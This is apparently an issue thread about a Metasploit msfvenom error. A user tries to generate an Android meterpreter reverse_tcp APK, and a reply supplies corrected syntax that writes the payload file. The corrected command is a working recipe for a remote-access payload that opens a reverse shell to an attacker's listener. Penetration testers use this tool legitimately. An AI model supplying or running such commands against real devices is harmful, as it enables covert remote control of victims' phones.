~# msfvenom -p android/meterpreter/reverse_tcp lhost=xxx.xxx.xxx lport=xxxx R > xxxx.apk
Error: Invalid option
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /opt/metasploit-framework/bin/../embedded/framework/msfvenom [options]
Options:
-p, --payload
--payload-options List the payload's standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled
-f, --format
--help-formats List available formats
-e, --encoder
-a, --arch
--platform
--help-platforms List available platforms
-s, --space
--encoder-space
-b, --bad-chars The list of characters to avoid example: 'x00xff'
-i, --iterations
-c, --add-code
-x, --template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out
-v, --var-name
--smallest Generate the smallest possible payload
Also getting this error with every command , even the help commands.
Hi, your syntax is incorrect. Here's an example:
./msfvenom -p android/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 -f raw -o /tmp/test.apk
This will generate the payload in /tmp.
Most helpful comment
Hi, your syntax is incorrect. Here's an example:
This will generate the payload in /tmp.